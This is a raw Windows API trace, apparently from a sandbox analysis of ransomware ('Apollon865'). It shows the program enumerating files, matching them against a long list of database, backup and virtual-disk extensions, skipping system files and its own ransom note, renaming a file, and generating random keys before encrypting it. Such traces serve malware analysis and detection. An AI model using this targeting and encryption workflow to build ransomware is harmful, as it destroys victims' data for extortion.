	[0078.902] lstrlenW (lpString="grdb") returned 4
	[0078.902] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0078.902] lstrlenW (lpString="gwi") returned 3
	[0078.902] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0078.902] lstrlenW (lpString="hdb") returned 3
	[0078.902] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0078.902] lstrlenW (lpString="his") returned 3
	[0078.902] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0078.902] lstrlenW (lpString="ib") returned 2
	[0078.902] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0078.902] lstrlenW (lpString="idb") returned 3
	[0078.902] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0078.902] lstrlenW (lpString="ihx") returned 3
	[0078.902] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0078.902] lstrlenW (lpString="itdb") returned 4
	[0078.902] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0078.902] lstrlenW (lpString="itw") returned 3
	[0078.902] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0078.902] lstrlenW (lpString="jet") returned 3
	[0078.902] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0078.902] lstrlenW (lpString="jtx") returned 3
	[0078.902] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0078.902] lstrlenW (lpString="kdb") returned 3
	[0078.902] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0078.902] lstrlenW (lpString="kexi") returned 4
	[0078.902] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0078.902] lstrlenW (lpString="kexic") returned 5
	[0078.902] lstrcmpiW (lpString1="f.cab", lpString2="kexic") returned -1
	[0078.902] lstrlenW (lpString="kexis") returned 5
	[0078.902] lstrcmpiW (lpString1="f.cab", lpString2="kexis") returned -1
	[0078.902] lstrlenW (lpString="lgc") returned 3
	[0078.902] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0078.903] lstrlenW (lpString="lwx") returned 3
	[0078.903] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0078.903] lstrlenW (lpString="maf") returned 3
	[0078.903] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0078.903] lstrlenW (lpString="maq") returned 3
	[0078.903] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0078.903] lstrlenW (lpString="mar") returned 3
	[0078.903] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0078.903] lstrlenW (lpString="marshal") returned 7
	[0078.903] lstrcmpiW (lpString1="oof.cab", lpString2="marshal") returned 1
	[0078.903] lstrlenW (lpString="mas") returned 3
	[0078.903] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0078.903] lstrlenW (lpString="mav") returned 3
	[0078.903] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0078.903] lstrlenW (lpString="maw") returned 3
	[0078.903] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0078.903] lstrlenW (lpString="mdbhtml") returned 7
	[0078.903] lstrcmpiW (lpString1="oof.cab", lpString2="mdbhtml") returned 1
	[0078.903] lstrlenW (lpString="mdn") returned 3
	[0078.903] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0078.903] lstrlenW (lpString="mdt") returned 3
	[0078.903] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0078.903] lstrlenW (lpString="mfd") returned 3
	[0078.903] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0078.903] lstrlenW (lpString="mpd") returned 3
	[0078.903] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0078.903] lstrlenW (lpString="mrg") returned 3
	[0078.903] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0078.903] lstrlenW (lpString="mud") returned 3
	[0078.903] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0078.903] lstrlenW (lpString="mwb") returned 3
	[0078.903] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0078.903] lstrlenW (lpString="myd") returned 3
	[0078.903] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0078.903] lstrlenW (lpString="ndf") returned 3
	[0078.903] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0078.903] lstrlenW (lpString="nnt") returned 3
	[0078.903] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0078.904] lstrlenW (lpString="nrmlib") returned 6
	[0078.904] lstrcmpiW (lpString1="of.cab", lpString2="nrmlib") returned 1
	[0078.904] lstrlenW (lpString="ns2") returned 3
	[0078.904] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0078.904] lstrlenW (lpString="ns3") returned 3
	[0078.904] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0078.904] lstrlenW (lpString="ns4") returned 3
	[0078.904] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0078.904] lstrlenW (lpString="nsf") returned 3
	[0078.904] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0078.904] lstrlenW (lpString="nv") returned 2
	[0078.904] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0078.904] lstrlenW (lpString="nv2") returned 3
	[0078.904] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0078.904] lstrlenW (lpString="nwdb") returned 4
	[0078.904] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0078.904] lstrlenW (lpString="nyf") returned 3
	[0078.904] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0078.904] lstrlenW (lpString="odb") returned 3
	[0078.904] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0078.904] lstrlenW (lpString="odb") returned 3
	[0078.904] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0078.904] lstrlenW (lpString="oqy") returned 3
	[0078.904] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0078.904] lstrlenW (lpString="ora") returned 3
	[0078.904] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0078.904] lstrlenW (lpString="orx") returned 3
	[0078.904] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0078.904] lstrlenW (lpString="owc") returned 3
	[0078.904] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0078.904] lstrlenW (lpString="p96") returned 3
	[0078.904] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0078.904] lstrlenW (lpString="p97") returned 3
	[0078.904] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0078.904] lstrlenW (lpString="pan") returned 3
	[0078.904] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0078.904] lstrlenW (lpString="pdb") returned 3
	[0078.904] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0078.905] lstrlenW (lpString="pdm") returned 3
	[0078.905] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0078.905] lstrlenW (lpString="pnz") returned 3
	[0078.905] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0078.905] lstrlenW (lpString="qry") returned 3
	[0078.905] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0078.905] lstrlenW (lpString="qvd") returned 3
	[0078.905] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0078.905] lstrlenW (lpString="rbf") returned 3
	[0078.905] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0078.905] lstrlenW (lpString="rctd") returned 4
	[0078.905] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0078.905] lstrlenW (lpString="rod") returned 3
	[0078.905] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0078.905] lstrlenW (lpString="rodx") returned 4
	[0078.905] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0078.905] lstrlenW (lpString="rpd") returned 3
	[0078.905] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0078.905] lstrlenW (lpString="rsd") returned 3
	[0078.905] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0078.905] lstrlenW (lpString="sas7bdat") returned 8
	[0078.905] lstrcmpiW (lpString1="roof.cab", lpString2="sas7bdat") returned -1
	[0078.905] lstrlenW (lpString="sbf") returned 3
	[0078.905] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0078.905] lstrlenW (lpString="scx") returned 3
	[0078.905] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0078.905] lstrlenW (lpString="sdb") returned 3
	[0078.905] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0078.905] lstrlenW (lpString="sdc") returned 3
	[0078.905] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0078.905] lstrlenW (lpString="sdf") returned 3
	[0078.905] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0078.905] lstrlenW (lpString="sis") returned 3
	[0078.905] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0078.905] lstrlenW (lpString="spq") returned 3
	[0078.905] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0078.905] lstrlenW (lpString="te") returned 2
	[0078.906] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0078.906] lstrlenW (lpString="teacher") returned 7
	[0078.906] lstrcmpiW (lpString1="oof.cab", lpString2="teacher") returned -1
	[0078.906] lstrlenW (lpString="tmd") returned 3
	[0078.906] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0078.906] lstrlenW (lpString="tps") returned 3
	[0078.906] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0078.906] lstrlenW (lpString="trc") returned 3
	[0078.906] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0078.906] lstrlenW (lpString="trc") returned 3
	[0078.906] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0078.906] lstrlenW (lpString="trm") returned 3
	[0078.906] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0078.906] lstrlenW (lpString="udb") returned 3
	[0078.906] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0078.906] lstrlenW (lpString="udl") returned 3
	[0078.906] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0078.906] lstrlenW (lpString="usr") returned 3
	[0078.906] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0078.906] lstrlenW (lpString="v12") returned 3
	[0078.906] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0078.906] lstrlenW (lpString="vis") returned 3
	[0078.906] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0078.906] lstrlenW (lpString="vpd") returned 3
	[0078.906] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0078.906] lstrlenW (lpString="vvv") returned 3
	[0078.906] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0078.906] lstrlenW (lpString="wdb") returned 3
	[0078.906] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0078.906] lstrlenW (lpString="wmdb") returned 4
	[0078.906] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0078.906] lstrlenW (lpString="wrk") returned 3
	[0078.906] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0078.906] lstrlenW (lpString="xdb") returned 3
	[0078.906] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0078.906] lstrlenW (lpString="xld") returned 3
	[0078.906] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0078.907] lstrlenW (lpString="xmlff") returned 5
	[0078.907] lstrcmpiW (lpString1="f.cab", lpString2="xmlff") returned -1
	[0078.907] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2e3b660, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd8400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1
	[0078.907] lstrcmpiW (lpString1="Proof.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.907] lstrcmpiW (lpString1="Proof.msi", lpString2="Apollon865.txt.exe") returned 1
	[0078.907] lstrcmpiW (lpString1="Proof.msi", lpString2=".") returned 1
	[0078.907] lstrcmpiW (lpString1="Proof.msi", lpString2="..") returned 1
	[0078.907] lstrcmpiW (lpString1="Proof.msi", lpString2="windows") returned -1
	[0078.907] lstrcmpiW (lpString1="Proof.msi", lpString2="bootmgr") returned 1
	[0078.907] lstrcmpiW (lpString1="Proof.msi", lpString2="temp") returned -1
	[0078.907] lstrcmpiW (lpString1="Proof.msi", lpString2="pagefile.sys") returned 1
	[0078.907] lstrcmpiW (lpString1="Proof.msi", lpString2="boot") returned 1
	[0078.907] lstrcmpiW (lpString1="Proof.msi", lpString2="ids.txt") returned 1
	[0078.907] lstrcmpiW (lpString1="Proof.msi", lpString2="ntuser.dat") returned 1
	[0078.907] lstrcmpiW (lpString1="Proof.msi", lpString2="perflogs") returned 1
	[0078.907] lstrcmpiW (lpString1="Proof.msi", lpString2="MSBuild") returned 1
	[0078.907] lstrlenW (lpString="Proof.msi") returned 9
	[0078.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0078.907] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Proof.msi" | out: lpString1="Proof.msi") returned="Proof.msi"
	[0078.907] lstrlenW (lpString="Proof.msi") returned 9
	[0078.907] lstrlenW (lpString="Apollon865") returned 10
	[0078.907] lstrlenW (lpString=".dll") returned 4
	[0078.907] lstrcmpiW (lpString1="Proof.msi", lpString2=".dll") returned 1
	[0078.907] lstrlenW (lpString=".lnk") returned 4
	[0078.907] lstrcmpiW (lpString1="Proof.msi", lpString2=".lnk") returned 1
	[0078.907] lstrlenW (lpString=".ini") returned 4
	[0078.907] lstrcmpiW (lpString1="Proof.msi", lpString2=".ini") returned 1
	[0078.907] lstrlenW (lpString=".sys") returned 4
	[0078.907] lstrcmpiW (lpString1="Proof.msi", lpString2=".sys") returned 1
	[0078.907] lstrlenW (lpString="Proof.msi") returned 9
	[0078.907] lstrlenW (lpString="bak") returned 3
	[0078.907] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0078.907] lstrlenW (lpString="ba_") returned 3
	[0078.907] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0078.907] lstrlenW (lpString="dbb") returned 3
	[0078.907] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0078.907] lstrlenW (lpString="vmdk") returned 4
	[0078.907] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0078.908] lstrlenW (lpString="rar") returned 3
	[0078.908] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0078.908] lstrlenW (lpString="zip") returned 3
	[0078.908] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0078.908] lstrlenW (lpString="tgz") returned 3
	[0078.908] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0078.908] lstrlenW (lpString="vbox") returned 4
	[0078.908] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0078.908] lstrlenW (lpString="vdi") returned 3
	[0078.908] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0078.908] lstrlenW (lpString="vhd") returned 3
	[0078.908] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0078.908] lstrlenW (lpString="vhdx") returned 4
	[0078.908] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0078.908] lstrlenW (lpString="avhd") returned 4
	[0078.908] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0078.908] lstrlenW (lpString="db") returned 2
	[0078.908] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0078.908] lstrlenW (lpString="db2") returned 3
	[0078.908] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0078.908] lstrlenW (lpString="db3") returned 3
	[0078.908] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0078.908] lstrlenW (lpString="dbf") returned 3
	[0078.908] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0078.908] lstrlenW (lpString="mdf") returned 3
	[0078.908] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0078.908] lstrlenW (lpString="mdb") returned 3
	[0078.908] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0078.908] lstrlenW (lpString="sql") returned 3
	[0078.908] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0078.908] lstrlenW (lpString="sqlite") returned 6
	[0078.908] lstrcmpiW (lpString1="of.msi", lpString2="sqlite") returned -1
	[0078.908] lstrlenW (lpString="sqlite3") returned 7
	[0078.908] lstrcmpiW (lpString1="oof.msi", lpString2="sqlite3") returned -1
	[0078.908] lstrlenW (lpString="sqlitedb") returned 8
	[0078.908] lstrcmpiW (lpString1="roof.msi", lpString2="sqlitedb") returned -1
	[0078.908] lstrlenW (lpString="xml") returned 3
	[0078.908] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0078.908] lstrlenW (lpString="$er") returned 3
	[0078.909] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0078.909] lstrlenW (lpString="4dd") returned 3
	[0078.909] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0078.909] lstrlenW (lpString="4dl") returned 3
	[0078.909] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0078.909] lstrlenW (lpString="^^^") returned 3
	[0078.909] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0078.909] lstrlenW (lpString="abs") returned 3
	[0078.909] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0078.909] lstrlenW (lpString="abx") returned 3
	[0078.909] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0078.909] lstrlenW (lpString="accdb") returned 5
	[0078.909] lstrcmpiW (lpString1="f.msi", lpString2="accdb") returned 1
	[0078.909] lstrlenW (lpString="accdc") returned 5
	[0078.909] lstrcmpiW (lpString1="f.msi", lpString2="accdc") returned 1
	[0078.909] lstrlenW (lpString="accde") returned 5
	[0078.909] lstrcmpiW (lpString1="f.msi", lpString2="accde") returned 1
	[0078.909] lstrlenW (lpString="accdr") returned 5
	[0078.909] lstrcmpiW (lpString1="f.msi", lpString2="accdr") returned 1
	[0078.909] lstrlenW (lpString="accdt") returned 5
	[0078.909] lstrcmpiW (lpString1="f.msi", lpString2="accdt") returned 1
	[0078.909] lstrlenW (lpString="accdw") returned 5
	[0078.909] lstrcmpiW (lpString1="f.msi", lpString2="accdw") returned 1
	[0078.909] lstrlenW (lpString="accft") returned 5
	[0078.909] lstrcmpiW (lpString1="f.msi", lpString2="accft") returned 1
	[0078.909] lstrlenW (lpString="adb") returned 3
	[0078.909] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.909] lstrlenW (lpString="adb") returned 3
	[0078.909] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0078.909] lstrlenW (lpString="ade") returned 3
	[0078.909] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0078.909] lstrlenW (lpString="adf") returned 3
	[0078.909] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0078.909] lstrlenW (lpString="adn") returned 3
	[0078.909] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0078.909] lstrlenW (lpString="adp") returned 3
	[0078.909] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0078.909] lstrlenW (lpString="alf") returned 3
	[0078.910] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0078.910] lstrlenW (lpString="ask") returned 3
	[0078.910] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0078.910] lstrlenW (lpString="btr") returned 3
	[0078.910] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0078.910] lstrlenW (lpString="cat") returned 3
	[0078.910] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0078.910] lstrlenW (lpString="cdb") returned 3
	[0078.910] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0078.910] lstrlenW (lpString="ckp") returned 3
	[0078.910] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0078.910] lstrlenW (lpString="cma") returned 3
	[0078.910] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0078.910] lstrlenW (lpString="cpd") returned 3
	[0078.910] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0078.910] lstrlenW (lpString="dacpac") returned 6
	[0078.910] lstrcmpiW (lpString1="of.msi", lpString2="dacpac") returned 1
	[0078.910] lstrlenW (lpString="dad") returned 3
	[0078.910] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0078.910] lstrlenW (lpString="dadiagrams") returned 10
	[0078.910] lstrlenW (lpString="daschema") returned 8
	[0078.910] lstrcmpiW (lpString1="roof.msi", lpString2="daschema") returned 1
	[0078.910] lstrlenW (lpString="db-journal") returned 10
	[0078.910] lstrlenW (lpString="db-shm") returned 6
	[0078.910] lstrcmpiW (lpString1="of.msi", lpString2="db-shm") returned 1
	[0078.910] lstrlenW (lpString="db-wal") returned 6
	[0078.910] lstrcmpiW (lpString1="of.msi", lpString2="db-wal") returned 1
	[0078.910] lstrlenW (lpString="dbc") returned 3
	[0078.910] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0078.910] lstrlenW (lpString="dbs") returned 3
	[0078.910] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0078.910] lstrlenW (lpString="dbt") returned 3
	[0078.910] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0078.910] lstrlenW (lpString="dbv") returned 3
	[0078.910] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0078.910] lstrlenW (lpString="dbx") returned 3
	[0078.910] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0078.910] lstrlenW (lpString="dcb") returned 3
	[0078.911] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0078.911] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0078.911] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0078.911] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0078.911] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0078.911] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0078.911] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Proof.xml" | out: lpString1="Proof.xml") returned="Proof.xml"
	[0078.911] lstrlenW (lpString="Proof.xml") returned 9
	[0078.911] lstrlenW (lpString="Apollon865") returned 10
	[0078.911] lstrlenW (lpString=".dll") returned 4
	[0078.911] lstrcmpiW (lpString1="Proof.xml", lpString2=".dll") returned 1
	[0078.911] lstrlenW (lpString=".lnk") returned 4
	[0078.911] lstrcmpiW (lpString1="Proof.xml", lpString2=".lnk") returned 1
	[0078.911] lstrlenW (lpString=".ini") returned 4
	[0078.911] lstrcmpiW (lpString1="Proof.xml", lpString2=".ini") returned 1
	[0078.911] lstrlenW (lpString=".sys") returned 4
	[0078.911] lstrcmpiW (lpString1="Proof.xml", lpString2=".sys") returned 1
	[0078.911] lstrlenW (lpString="Proof.xml") returned 9
	[0078.912] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.Apollon865") returned 92
	[0078.912] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.apollon865"), dwFlags=0x1) returned 1
	[0078.914] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0078.914] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1458) returned 1
	[0078.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0078.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0078.914] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf810
	[0078.914] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfa30) returned 1
	[0078.915] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0078.915] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.915] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8c0, lpName=0x0) returned 0xc0
	[0078.919] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8c0) returned 0x100000
	[0078.919] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfa30) returned 1
	[0078.920] CryptGenRandom (in: hProv=0x5bfa30, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0078.920] CryptReleaseContext (hProv=0x5bfa30, dwFlags=0x0) returned 1
	[0078.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0078.920] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0078.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0078.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0078.920] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0078.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0078.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0078.921] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0078.921] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0078.921] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0078.921] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0078.921] CloseHandle (hObject=0xc0) returned 1
	[0078.921] CloseHandle (hObject=0x150) returned 1
	[0078.921] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0078.921] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf810 | out: hHeap=0x580000) returned 1
	[0078.921] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0078.921] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0
	[0078.921] FindClose (in: hFindFile=0x5ca110 | out: hFindFile=0x5ca110) returned 1
	[0078.921] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc90
